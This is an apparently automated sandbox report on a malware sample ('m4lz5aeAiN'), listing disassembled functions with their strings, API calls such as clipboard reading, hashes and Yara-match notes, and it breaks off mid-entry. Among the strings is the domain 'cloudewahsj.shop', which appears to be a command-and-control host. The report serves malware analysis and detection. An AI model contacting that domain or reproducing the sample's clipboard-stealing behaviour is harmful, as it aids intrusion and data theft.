A, xrefs: 00411FB9
5, xrefs: 0041219B
$, xrefs: 0041203F
J, xrefs: 00411BF1
&, xrefs: 00412044
t, xrefs: 00411C84

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: $$&$5$A$J$t
API String ID: 0-1619763526
Opcode ID: 2bdb521bc7c73c0b7c7245bb86837fa704f627e98ff44684887737040ddb6845
Instruction ID: a53242e4cf12c94eabb5fc35352f39a952aaa25ff7b8dface19663bb3d57fcdd
Opcode Fuzzy Hash: 2bdb521bc7c73c0b7c7245bb86837fa704f627e98ff44684887737040ddb6845
Instruction Fuzzy Hash: FB22B07160C7808BC7249B38C5943AFBBE1ABC5324F184A2EE9E9D73C1D77889458B47

Function 02141E45 Relevance: 12.8, APIs: 1, Strings: 6, Instructions: 555COMMON

Download Yara Rule

Strings

&, xrefs: 021422AB
A, xrefs: 02142220
$, xrefs: 021422A6
t, xrefs: 02141EEB
J, xrefs: 02141E58
5, xrefs: 02142402

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: $$&$5$A$J$t
API String ID: 0-1619763526
Opcode ID: 79d2da70b477ffa677f65aeaf4e6cacd56928a13efaa06ce3925f393d5a94fe9
Instruction ID: 95e380bd206a0e1da789bfda348dbe485edae44486799b9d98a588eb3f3e7d4f
Opcode Fuzzy Hash: 79d2da70b477ffa677f65aeaf4e6cacd56928a13efaa06ce3925f393d5a94fe9
Instruction Fuzzy Hash: E622917164C7808FC7259B38C4943AEBBE2AF85324F194A2DE8ED973C1DB748945CB42

Function 0042A7F0 Relevance: 11.1, APIs: 2, Strings: 4, Instructions: 573COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 0042A8F7
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 0042A9CF

Strings

*, xrefs: 0042AA60, 0042AB95, 0042AA93
*, xrefs: 0042AC00
q, xrefs: 0042ADA6
(\{, xrefs: 0042AF20

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: (\{$*$*$q
API String ID: 237503144-55504019
Opcode ID: 5f672a718d274909524f70c82779d112448254364d71578b31479b925a6e829e
Instruction ID: 6a2a75fc59155a11c5aec0aea031f7e0da65668b1aff7312ce30b4a80edc4f4b
Opcode Fuzzy Hash: 5f672a718d274909524f70c82779d112448254364d71578b31479b925a6e829e
Instruction Fuzzy Hash: 130212B56083158FD724CF28D89135FB7E1FFC5308F05892DE9999B291DB78890ACB86

Function 0040E16E Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 345COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32 ref: 0040E17A

Strings

RYZ[, xrefs: 0040E52E
yD, xrefs: 0040E29A
Zb, xrefs: 0040E188
c[i!, xrefs: 0040E2CB
cloudewahsj.shop, xrefs: 0040E631
UGC9, xrefs: 0040E2E1

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: Uninitialize
String ID: RYZ[$UGC9$Zb$c[i!$cloudewahsj.shop$yD
API String ID: 3861434553-1392773931
Opcode ID: 9bb15100d4bb6a15a77dc5872525b3ecedab199ceaceba36afab7cc08321f92a
Instruction ID: 966cdb19ca8ac249a37a340b6d4c56d028db331cb6ce3dd003334f0be9ec8841
Opcode Fuzzy Hash: 9bb15100d4bb6a15a77dc5872525b3ecedab199ceaceba36afab7cc08321f92a
Instruction Fuzzy Hash: C3C1FF7150C3D08BDB348F2598687ABBBE1AFD2304F084D6DD8D95B286D678450A8B96

Function 0213E3D5 Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 345COMMON

Download Yara Rule

APIs

CoUninitialize.COMBASE ref: 0213E3E1

Strings

UGC9, xrefs: 0213E548
RYZ[, xrefs: 0213E795
Zb, xrefs: 0213E3EF
c[i!, xrefs: 0213E532
cloudewahsj.shop, xrefs: 0213E898
yD, xrefs: 0213E501

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID: Uninitialize
String ID: RYZ[$UGC9$Zb$c[i!$cloudewahsj.shop$yD
API String ID: 3861434553-1392773931
Opcode ID: 9bb15100d4bb6a15a77dc5872525b3ecedab199ceaceba36afab7cc08321f92a
Instruction ID: 27cf9693153fe653d0e6b08e58754f7942b1977d05007c1d3c5cdafc90967e3a
Opcode Fuzzy Hash: 9bb15100d4bb6a15a77dc5872525b3ecedab199ceaceba36afab7cc08321f92a
Instruction Fuzzy Hash: E7C1217154C3C08BDB35CF24C4687ABBBE2AFD2304F08496CD4D95B286D779450ACB96

Function 00409B70 Relevance: 10.4, Strings: 8, Instructions: 418COMMON

Download Yara Rule

Strings

UJVM, xrefs: 00409D7E
VW, xrefs: 00409F9D
yD, xrefs: 00409CEB
F1E4A7962E918E70822D1F4978021086, xrefs: 00409C45
b, xrefs: 00409E73
EVA^, xrefs: 00409D89
~9, xrefs: 00409F05
]NGD, xrefs: 00409D94

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: EVA^$F1E4A7962E918E70822D1F4978021086$UJVM$VW$]NGD$b$~9$yD
API String ID: 0-2868526010
Opcode ID: 63948a1a35424d92484af45aa3e419c807616ca0303279be93579cff46dd4037
Instruction ID: ffcda9fbc27d5fd1cec50cde84d534a082da3ff5d4e5b8e77816747385cb8e1d
Opcode Fuzzy Hash: 63948a1a35424d92484af45aa3e419c807616ca0303279be93579cff46dd4037
Instruction Fuzzy Hash: 82E1D1715083808BD724CF24C8947ABBBE2FFD5308F08892DE4D99B392DB798509CB56

Function 0040B280 Relevance: 10.4, Strings: 8, Instructions: 384COMMON

Download Yara Rule

Strings

UGEA, xrefs: 0040B292
c[G, xrefs: 0040B2BB
)Ku, xrefs: 0040B43B
x[G, xrefs: 0040B350
DM_e, xrefs: 0040B362, 0040B513
ox}k, xrefs: 0040B695, 0040B5A4, 0040B6B2, 0040B739, 0040B6A6, 0040B742, 0040B725, 0040B550, 0040B76C
SV, xrefs: 0040B66F
S;G%, xrefs: 0040B3DB

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: )Ku$DM_e$S;G%$SV$UGEA$c[G$ox}k$x[G
API String ID: 0-3323421312
Opcode ID: 955f6e51a34149f4c10f413aa8795b1a1dd05340e96898ae9af78c9a06cf57c5
Instruction ID: 7fd46061e40033794bbc6c3ce90a1e611a10dbdcf815d020572bc93dee4dedaf
Opcode Fuzzy Hash: 955f6e51a34149f4c10f413aa8795b1a1dd05340e96898ae9af78c9a06cf57c5
Instruction Fuzzy Hash: 55D1F57150C3408BD724CF29845476BFBE2EFD1708F18896DE4D56B385D77A890A8B8B

Function 0213B4E7 Relevance: 10.4, Strings: 8, Instructions: 384COMMON

Download Yara Rule

Strings

S;G%, xrefs: 0213B642
)Ku, xrefs: 0213B6A2
SV, xrefs: 0213B8D6
c[G, xrefs: 0213B522
ox}k, xrefs: 0213B919, 0213B80B, 0213B9D3, 0213B90D, 0213B8FC, 0213B98C, 0213B9A9, 0213B7B7, 0213B9A0
DM_e, xrefs: 0213B5C9, 0213B77A
UGEA, xrefs: 0213B4F9
x[G, xrefs: 0213B5B7

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: )Ku$DM_e$S;G%$SV$UGEA$c[G$ox}k$x[G
API String ID: 0-3323421312
Opcode ID: 6c2c288b3743fe4fbd1b2963644c860e42ee050d0cc4828e002f03bb987ef718
Instruction ID: a542aef157e15b5a749511b4398d95925930fc26bef05fcfc22fa458d64251de
Opcode Fuzzy Hash: 6c2c288b3743fe4fbd1b2963644c860e42ee050d0cc4828e002f03bb987ef718
Instruction Fuzzy Hash: B8D1F3B154C3808BD725CF29889436BFBE2AFC170CF19896CE4E55B345E775860ACB86

Function 00409360 Relevance: 10.3, Strings: 8, Instructions: 272COMMON

Download Yara Rule

Strings

ID, xrefs: 004093E2
eMOK, xrefs: 004093F0
ADTD, xrefs: 00409428
Y, xrefs: 004094DE
|xzy, xrefs: 00409438
vu, xrefs: 004094D7
vxtq, xrefs: 00409440
E, xrefs: 00409388

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: ADTD$E$ID$Y$eMOK$vu$vxtq$|xzy
API String ID: 0-1466227541
Opcode ID: 694bb15107f4bc877fab139e9b3cb1dd418c9edad3bc46051563358933346528
Instruction ID: 68c016febbe7a0715404e25fe2d2c1f5bf377f828986e49a58439a2b7b357855
Opcode Fuzzy Hash: 694bb15107f4bc877fab139e9b3cb1dd418c9edad3bc46051563358933346528
Instruction Fuzzy Hash: 7871E23158C3928AD3118F7AC4A076BFFE09FA2350F1C496DE4D45B392D37989099B9A

Function 021395C7 Relevance: 10.3, Strings: 8, Instructions: 272COMMON

Download Yara Rule

Strings

Y, xrefs: 02139745
vu, xrefs: 0213973E
|xzy, xrefs: 0213969F
eMOK, xrefs: 02139657
ADTD, xrefs: 0213968F
E, xrefs: 021395EF
vxtq, xrefs: 021396A7
ID, xrefs: 02139649

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: ADTD$E$ID$Y$eMOK$vu$vxtq$|xzy
API String ID: 0-1466227541
Opcode ID: 694bb15107f4bc877fab139e9b3cb1dd418c9edad3bc46051563358933346528
Instruction ID: 820f6af924ea33212c040768e5ac545f682e04f54b787782ff41d85ce2a2866b
Opcode Fuzzy Hash: 694bb15107f4bc877fab139e9b3cb1dd418c9edad3bc46051563358933346528
Instruction Fuzzy Hash: 3371127058C3C68AD3128F7AC4A076BFFE1AF92354F1C49ACE4D08B291D3B98109DB56

Function 00419B30 Relevance: 9.7, APIs: 2, Strings: 3, Instructions: 947COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 00419FF7
FreeLibrary.KERNEL32(?), ref: 0041A039

Part of subcall function 00442080: LdrInitializeThunk.NTDLL(0044523A,00000002,00000018,?,?,00000018,?,?,?), ref: 004420AE

Strings

(\{, xrefs: 00419B55, 00419BF7, 00419C50, 00419D41, 00419F6C, 00419FA6, 0041A010, 0041A04E, 0041A0D4, 0041A174, 0041A22E, 0041A28D, 0041A329, 0041A3D2, 0041A4F9, 0041A67D, 0041A6FD
#v, xrefs: 00419FF7, 0041A039
mj, xrefs: 00419F08

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: (\{$mj$#v
API String ID: 764372645-66977518
Opcode ID: c086cc875a9495cf51c40eac8dc5e50a76db1f680bda795562031d64835a4f2b
Instruction ID: e4b45be28fd4c7cbff433e2c06fe463db16693d42f5f124cafcdabba2620905a
Opcode Fuzzy Hash: c086cc875a9495cf51c40eac8dc5e50a76db1f680bda795562031d64835a4f2b
Instruction Fuzzy Hash: D76223746093009FE724CF25CC507ABBBE2BB85318F24861EE594573A1E7399C96CB4B

Function 00428B10 Relevance: 9.3, Strings: 7, Instructions: 513COMMON

Download Yara Rule

Strings

J[, xrefs: 0042954C
we`k, xrefs: 00429A2F
|A, xrefs: 00429544
(\{, xrefs: 00429B35
Gt, xrefs: 0042953C
LUC_, xrefs: 00429A17
x}{z, xrefs: 00429A3F

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (\{$Gt$J[$LUC_$we`k$x}{z$|A
API String ID: 0-3791583974
Opcode ID: a80706b1bcf71f0eeb055f17b4aa1439f32228796d62799fc01b238a482912c0
Instruction ID: f20c1733954f3d7476a331e7578cdc678171662c1333d6829e8b94656b24469a
Opcode Fuzzy Hash: a80706b1bcf71f0eeb055f17b4aa1439f32228796d62799fc01b238a482912c0
Instruction Fuzzy Hash: 080200B5A08350CBD3209F25D84176BBBE2FFC6318F454A6DE5C85B390DB799805CB8A

Function 00409660 Relevance: 9.2, Strings: 7, Instructions: 448COMMON

Download Yara Rule

Strings

4?!;, xrefs: 004097F1
?+9&, xrefs: 00409809
$i|3, xrefs: 00409811
9;#&, xrefs: 00409801
)--l, xrefs: 00409819
6?34, xrefs: 004096B0
K, xrefs: 00409A9E

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: $i|3$)--l$4?!;$6?34$9;#&$?+9&$K
API String ID: 0-2829372548
Opcode ID: 338e6b2548f6942e75dc87549e7f56e2f23b8a97b2fe11a06af31a37ceb72b1f
Instruction ID: 6807048b151084a9e8e11973f3dfbc4b5eda1ab4f65a555cc9214e5bb2479a1e
Opcode Fuzzy Hash: 338e6b2548f6942e75dc87549e7f56e2f23b8a97b2fe11a06af31a37ceb72b1f
Instruction Fuzzy Hash: 2DD1247120C7818BD729CF29C45036BBFE1AB97314F0889AED0D5DB382DA3D8909C756

Function 021398C7 Relevance: 9.2, Strings: 7, Instructions: 448COMMON

Download Yara Rule

Strings

4?!;, xrefs: 02139A58
6?34, xrefs: 02139917
K, xrefs: 02139D05
9;#&, xrefs: 02139A68
$i|3, xrefs: 02139A78
?+9&, xrefs: 02139A70
)--l, xrefs: 02139A80

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: $i|3$)--l$4?!;$6?34$9;#&$?+9&$K
API String ID: 0-2829372548
Opcode ID: 338e6b2548f6942e75dc87549e7f56e2f23b8a97b2fe11a06af31a37ceb72b1f
Instruction ID: b8a6918b2ceefb22cc20fd8c0d8e7f3589438008cdadcc7d4999eb1e3baeb5a0
Opcode Fuzzy Hash: 338e6b2548f6942e75dc87549e7f56e2f23b8a97b2fe11a06af31a37ceb72b1f
Instruction Fuzzy Hash: 0BD1067160C7818BD72ACF29C4517ABBFE2AF97218F0889ADD0D5CB382D7798509C752

Function 00437A60 Relevance: 9.1, APIs: 6, Instructions: 119clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00437A74
GetClipboardData.USER32 ref: 00437A8F
GlobalLock.KERNEL32 ref: 00437AAE
GlobalUnlock.KERNEL32 ref: 00437BE6
CloseClipboard.USER32 ref: 00437BF1

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 0d51a4dc2fe6236f60cf615c35f494bc4f8871562ce58d512750188790d88ec3
Instruction ID: cc871ad810d5ebcc8503e7b8c4c024891cf7c86b0654bd3a3462fcbae073f9f9
Opcode Fuzzy Hash: 0d51a4dc2fe6236f60cf615c35f494bc4f8871562ce58d512750188790d88ec3
Instruction Fuzzy Hash: 0B41ABB010C7818FE310EF78944936FBFE0AB96308F09496EE4C586282D67C858DD7A7

Function 0043C6C0 Relevance: 9.1, Strings: 7, Instructions: 361COMMON

Download Yara Rule

Strings

A, xrefs: 0043C996
f, xrefs: 0043CA5B
j, xrefs: 0043CA56
q, xrefs: 0043C991
O, xrefs: 0043C99B
g, xrefs: 0043C9A0
>, xrefs: 0043CA51

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: >$A$O$f$g$j$q
API String ID: 0-654885204
Opcode ID: 6e719cf540110b28232b330fd9c3123724b655a2ede16ab93559da8430dfb06e
Instruction ID: 933c444832a5593444b97503960d5bfec1f1b34db4cd747dab4759e8adc9f3c2
Opcode Fuzzy Hash: 6e719cf540110b28232b330fd9c3123724b655a2ede16ab93559da8430dfb06e
Instruction Fuzzy Hash: DAD1F633A0C7D04AD324853C889535BAEC25BE6324F1D8B7EE9F5973C6D66D88068357

Function 0216C927 Relevance: 9.1, Strings: 7, Instructions: 361COMMON

Download Yara Rule

Strings

q, xrefs: 0216CBF8
j, xrefs: 0216CCBD
>, xrefs: 0216CCB8
g, xrefs: 0216CC07
O, xrefs: 0216CC02
f, xrefs: 0216CCC2
A, xrefs: 0216CBFD

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: >$A$O$f$g$j$q
API String ID: 0-654885204
Opcode ID: 6e719cf540110b28232b330fd9c3123724b655a2ede16ab93559da8430dfb06e
Instruction ID: ee05a0eb7026b519ad23eae9d2a7c6ec516baafbd7a708da7b9974cb092405b9
Opcode Fuzzy Hash: 6e719cf540110b28232b330fd9c3123724b655a2ede16ab93559da8430dfb06e
Instruction Fuzzy Hash: 04D1E533A4C7D04AD328853C885936FAED25BD6224F1D8B7EE9F5C73C6D66988058393

Function 004042C0 Relevance: 6.7, Strings: 5, Instructions: 465COMMON

Download Yara Rule

Strings

), xrefs: 0040433D
IHDR, xrefs: 004046BC
IEND, xrefs: 0040479F
IDAT, xrefs: 0040472B
), xrefs: 00404347

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: )$)$IDAT$IEND$IHDR
API String ID: 0-3469842109
Opcode ID: 5f911fd9eadcc5316ebe90ac87000dbf8232f8441ecf4be1dd311271e7b63a2a
Instruction ID: 828f2798e7534a509cb653a25c5a447f63e0741c52f375536a6b9b324fae408e
Opcode Fuzzy Hash: 5f911fd9eadcc5316ebe90ac87000dbf8232f8441ecf4be1dd311271e7b63a2a
Instruction Fuzzy Hash: 5E02E3B46043808FD700DF29D89075ABBE1EBD6304F05897EEA859B3D1D379D909CB96

Function 02134527 Relevance: 6.7, Strings: 5, Instructions: 465COMMON

Download Yara Rule

Strings

), xrefs: 021345AE
), xrefs: 021345A4
IDAT, xrefs: 02134992
IHDR, xrefs: 02134923
IEND, xrefs: 02134A06

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: )$)$IDAT$IEND$IHDR
API String ID: 0-3469842109
Opcode ID: 6dda164276c19b2348408bf08e15d5684114f8bdc5157cb020ecd11399e8153b
Instruction ID: 06b1de777470bc96638b31dffff3f0273cd3113ae18fb50fbec1c78db033f1c5
Opcode Fuzzy Hash: 6dda164276c19b2348408bf08e15d5684114f8bdc5157cb020ecd11399e8153b
Instruction Fuzzy Hash: E20215B06483808FD715CF29D89076ABBE2FF96304F06856DF9858B391D376D909CB92

Function 00427FC0 Relevance: 6.7, Strings: 5, Instructions: 431COMMON

Download Yara Rule

Strings

up, xrefs: 00428157
@-, xrefs: 0042814C
vC, xrefs: 00428162
(\{, xrefs: 0042850D, 004285A0
#C}, xrefs: 00428438

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: #C}$(\{$@-$up$vC
API String ID: 0-300527251
Opcode ID: fe4f9d4565ffa40ec65875b6bd9e8bbb556a4c85dd3c3c1a3913f1bfe2a2c7a4
Instruction ID: 145fb0a50be3e303ead08e2671ce65b3aa3df702a645c1f6ac8533401e1fa356
Opcode Fuzzy Hash: fe4f9d4565ffa40ec65875b6bd9e8bbb556a4c85dd3c3c1a3913f1bfe2a2c7a4
Instruction Fuzzy Hash: 9FE1EBB5209340DFE324DF25E88076FBBE1FB86304F54882EE5898B251DB35D945CB9A

Function 0213C2E7 Relevance: 6.4, Strings: 5, Instructions: 104COMMON

Download Yara Rule

Strings

'!, xrefs: 0213C380
FwPq, xrefs: 0213C320
50, xrefs: 0213C414
Js, xrefs: 0213C328
DM_e, xrefs: 0213C2EA

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: 50$DM_e$FwPq$Js$'!
API String ID: 0-1711485358
Opcode ID: c4c1f8e28e835abe653d42ead9130a3bdb40cd1f355abcf11e9a7fb6b3c4c5b3
Instruction ID: 5dc47f60283a15c3b124bbbd92216895882e387d542567d0c736e19468e6070c
Opcode Fuzzy Hash: c4c1f8e28e835abe653d42ead9130a3bdb40cd1f355abcf11e9a7fb6b3c4c5b3
Instruction Fuzzy Hash: 6B51DAB45493808FE334CF25C991B8BBBB1BBA1304F609A0CE6D95B254CB759446CF97

Function 00425713 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 346COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00425743

Strings

67, xrefs: 00425B0C

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 67
API String ID: 237503144-1886922373
Opcode ID: e3d5ee6a10ef3cb590ca084e24df21bec85322a84b333c3760c72d733834ca72
Instruction ID: 69054aec17b57e4c885244c43c85c7a2a523591f4f2f134b8c84ae4bc1ca1ac0
Opcode Fuzzy Hash: e3d5ee6a10ef3cb590ca084e24df21bec85322a84b333c3760c72d733834ca72
Instruction Fuzzy Hash: 6EB1A9B4508710CBD7109F54E88176BBBE0FF86708F44496EE9849B391E7B9C949CB8B

Function 00440B00 Relevance: 5.6, Strings: 4, Instructions: 555COMMON

Download Yara Rule

Strings

S"(w, xrefs: 00440E4F
f, xrefs: 00440DAA
S"(w, xrefs: 00440BF0
(\{, xrefs: 00440BE9, 00440D24, 00440DD5, 00440E49, 00440EC8, 004411E8

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: InitializeThunk
String ID: (\{$S"(w$S"(w$f
API String ID: 2994545307-2244714345
Opcode ID: 28c41b0127d726451ed3b83d71238d17b12bdb257359ab4ca56fde3cc06b6e27
Instruction ID: 3cfac3c3f928c660201977811b78d3d3052ee887d4b0c26ff85acd92e20ac89e
Opcode Fuzzy Hash: 28c41b0127d726451ed3b83d71238d17b12bdb257359ab4ca56fde3cc06b6e27
Instruction Fuzzy Hash: B412E1756083508FE324CF19C880B2BBBE1BBC9314F148A6EE9D45B3A1D775AC45CB96

Function 00425DA0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00425E98
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00425F24

Strings

23, xrefs: 00425E1F

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 23
API String ID: 237503144-326707096
Opcode ID: 68f62ab6bbdc17d543da7d6c80b4e2832be22e5d8e63cefdd40be9526a9cccd6
Instruction ID: b6730ddf130f4e2a19c05504fd255247e3d11648143caf2c2a016be5e81be571
Opcode Fuzzy Hash: 68f62ab6bbdc17d543da7d6c80b4e2832be22e5d8e63cefdd40be9526a9cccd6
Instruction Fuzzy Hash: 7B7112B1A043189FEB20CFA8D841BEEBBB1FB45304F10843DE905AB2C5D775590ACB89

Function 00429917 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00429C9A

Strings

67, xrefs: 00429C0E

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 67
API String ID: 237503144-1886922373
Opcode ID: efaa971be64e3f0e55855db326838b403e2c0136300b1c41449d082944818f00
Instruction ID: a5821a17d697f7f316c5e23e8fd2eb7e472b5f5b3478a77b5a5598d7e69c89e3
Opcode Fuzzy Hash: efaa971be64e3f0e55855db326838b403e2c0136300b1c41449d082944818f00
Instruction Fuzzy Hash: 6D61F0B66083408BD724DF29E88175FB7E1EBC9304F18493DE58997281DB35D905CB8A

Function 00429B7B Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 217COMMON

